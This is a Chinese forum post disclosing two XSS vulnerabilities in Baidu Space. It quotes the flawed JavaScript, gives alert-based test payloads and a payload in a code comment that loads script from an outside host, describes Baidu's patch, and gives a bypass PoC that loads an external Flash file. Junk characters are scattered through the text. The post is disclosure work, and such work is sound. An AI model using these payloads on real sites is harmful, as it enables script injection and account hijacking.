找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2490|回复: 0
打印 上一主题 下一主题

hi.baidu Xss 漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-8-24 11:51:11 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS.  2 [+ k# X) {: E1 r/ A

9 l& m1 I/ p% P1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存.  1 `4 |- J' A+ [' l* p
2.在http://hi.baidu.com/ui/scripts/pet/pet.js中  $ X, m: h5 ~8 `/ d: H
) i& W* ]) J5 u! E; N: l
将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p>  
# Y* T' R- ]# |+ j/ c1 H其中BdUtil.insertWBR为  0 Z& q" z- V7 R
function(text, step) {  
( f' V* a' u7 N/ A- m6 Y+ L; P' I& Y    var textarea = textAreaCache || getContainer();  & i. D. F& M: s. c9 Y& I0 }0 X8 @
    if (!textarea) {  6 O/ D- l1 f; t4 E2 x
        return text;  
, ~' [  t3 [! |& @/ F5 L    }  
; R/ }8 m) T5 _% h# `    textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">");  7 K; q1 Y& g  g" `# k
    var string = textarea.value;  
, H# p1 A- f; B) \8 h4 z    var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi");  - r$ ]" ^1 j- {4 L2 O$ E7 y: s
    var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;");  
0 s% j& \6 ]) T. |  b, {    return result;  
6 y4 Q; j6 k/ Y$ _" k! D3 F/ j}  . K7 h4 d( ~) J* V* ]7 ?
在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS.  
! F% m* H0 K0 p, Z0 W( O, K1 h测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)>  9 {, a( C* D$ }; w' R" s( v
   & h, N( [9 o4 \5 h9 R( I9 P
二:creatbgmusic() Dom-Xss Bug  
' T9 ~% M% b# k. Y百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞  
% Z) j. L4 P/ ^+ w1 h9 J/ A* X9 v- Y3 B7 K# h! Y& b0 x
在http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码:  ! }& i: Y2 I# F. L; s8 y8 l1 E# a1 W

# |/ a1 J( }: v+ ^! h. M/ u6 w8 p: ofunction creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) {  ; m: p" ~4 T( G* N
    //传入的murl赋值到bgmusic1和bgmusic2中  
. ^5 D* a% B5 N" H( g. D+ R* P4 ^    //可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1  , u9 ~  V0 W5 i! {7 W: Z, o
    var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\"  VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">";  
( e; v1 Y* W& {    if (musicnum <= 1) {  
5 V8 z1 E! y$ ~. @9 B6 V; @        bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">";  
) m# _) B7 Y$ ]    }  
+ ^2 ?4 L: d& o, Y6 n    bgmusic1 += "</OBJECT>";  
9 X3 o$ m: O7 K4 l3 Q    var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\"";  
3 F/ _- O$ R# n# N  ?5 Z4 D    if (musicnum <= 1) {  9 O" G( k' w1 I6 G- r  s( }' `. R
        bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" ";  
, w. {0 Z( E0 K% `1 c    }  0 L! n. l/ T, R  {4 T2 X3 P$ L) n
    bgmusic2 += "> </EMBED>";  
9 v2 U3 \) U. ~3 W& D% X) E    var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>";  ; U0 h: Q: v: c- F) x$ Q; H2 p
    var bgmus = detectWMP();  ; y7 p- H$ y' C" n  \
    if (functype == "FckMusicHelper") {  . l: m# t  @" \: Z
        if (bgmus.installed) {  ; _* m" B# z! R1 Z
            if (bgmus.type == "IE") {  
9 m5 D( U5 F( W6 `8 M                return bgmusic1;  
1 F+ a& a4 o0 k0 P* _8 P            } else if (bgmus.type == "NS") {  3 g: j$ u$ t  O( P9 \
                return bgmusic2;  
% e! [7 [2 }: Y' e0 c            }  
. @$ h: I6 ~" E- P  h        } else {  
" c# t9 H9 e5 s2 w1 t6 ~            return bgmusic3;  
- ]& b: ?6 [' r5 m( D        }  
* E4 ?$ S% _2 M% V; S$ l    } else {  
5 A6 p; u/ E6 e. B0 x# U! [% b' L! Z        if (bgmus.installed) {  4 b0 G9 T& l1 u8 X7 }
            //document.write 直接输出bgmusic变量 导致xss  : x3 G) u% S5 Q# |
            if (bgmus.type == "IE") {  
3 i+ G* {( C$ N% V                document.write(bgmusic1);  % W  W: j& ^( a' D; e. Z  t" D
            } else if (bgmus.type == "NS") {  / M7 F# Z" M8 K4 ~0 U: y
                document.write(bgmusic2);  * q4 Q0 H# T4 U1 Q
            }  
4 c1 R! f  a  ~) ?        } else {  
- Q) z1 v5 I( Y* K. j( v            document.write(bgmusic3);  
6 }& c. w! w) n8 e        }  
+ m5 j- Q( V' A' G        return "";  3 |1 z  S( W$ h' ?7 W0 @( H; v
    }  
# h1 O. k) n, e4 g- g* F. t* t: A}  $ f' L6 y9 [9 l0 l3 N, G6 u- t

) t2 ^. t7 P3 M4 P在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下:  
) v+ \4 t" ^$ F
4 C# K8 z% l7 W$ t& Q6 E9 ?' yfunction initBlogTextForFCK(){  4 k. p2 V# [9 }/ z0 F' Y
//fck init music  
( i, p* ]5 R2 i4 u0 |if(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}}  $ n# v& B: s' L# N/ W& l8 H
var imgBox=document.getElementsByName(’musicName’);   //取得了文章中的所有name="musicName"的标签数组  ; N3 ^8 h0 ^0 K9 J
var isAutoPlay=true;  
& E3 J, `' l1 b8 r1 W7 J" Afor(var i=0,n=imgBox.length;i<n;i++){  //然后遍历.  ; K* v9 o% w- w2 x
  var img=imgBox;  , G& x8 \9 u/ s* f. l. K( x
  if(img.getAttribute(’rel’)){        : W1 u* z0 \# {2 t$ k' c, I
   var musicSrc=img.getAttribute(’rel’);    //取得标签中rel的值,赋值给musicSrc  % S  {- r0 w' @
   var musicDiv = document.createElement("SPAN");  
$ L5 x/ o* U% ~8 }; L3 E   var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1);  //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp]  
* _3 z6 }: ?: i" A     # g; _% [. K) d9 v6 T& S2 n
      ..........................  
2 l. P% `; [, J) I" P     & ^3 k# z& l/ e8 ]7 O
   //直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来.   + H, N2 ~; [. B1 e7 Z- ?
   var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);  ' c4 ~3 A- p: `! [2 j
   shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’);   img.replaceNode(musicDiv);  # [1 A  A/ [" D2 B& N1 Y9 n$ j
   musicDiv.innerHTML=shtml;  
) F2 n' o% T+ ^# \% i6 B- }" f   i--;n--;  
. E% S7 q- C8 G# H  }  
: w  m$ Q) ^) V7 H2 @' U}  1 Y/ ]7 x- w: H
# Y5 q) Y% z5 s6 u' F; ~  t
从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS.  6 d& @* \" `- X$ `5 z# u
   ' ]3 R2 v! a3 [+ G' E
测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/>  + @% b) A- z/ j# D$ F& k

: F; P+ ?7 ]& d! ^- }' }1 V8 e2 r5 [0 R等待官方补丁  % R4 V/ m$ z3 F( K1 T: Y" x
/ `% _- J0 l! j" `( P
update 2010年5月13日   4 h2 ]2 R6 ^$ ^& Y$ O- ^- N4 h1 D
) ]# y7 z+ Y3 }+ a8 U7 L1 X2 f
官方补丁:  
$ Z2 V+ j, }+ |( ^2 J& k
3 d% w% [5 @& J7 U2 ?var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);  
. J+ L1 \, J* }- i2 o改为:  ) b* W6 G8 s2 q( k9 {# R
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’);  
* t( D( {4 K- I7 s* \
8 T0 ?7 Q2 G/ y. b# T& j5 nupdate 2010年5月13日 21:50:37  % b7 q/ C  J) a5 @) G
" A; s; `  T# Q0 D$ j
补丁存在漏洞 没有过滤" 可以继续跨:  
- I5 L6 M! {, e, |1 R# v
, b7 R9 X5 O7 kNEW POC:  2 k1 B% z* j3 e

, x) S1 k( W' ]! y7 L<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf"
3 b3 P5 {' r2 F" e$ x
( M0 @" _: U2 J& N0 Zallowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>
% y7 V; B1 K; p, P8 n# i( w0 ]9 V 9 O& [( l. q5 C% f
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表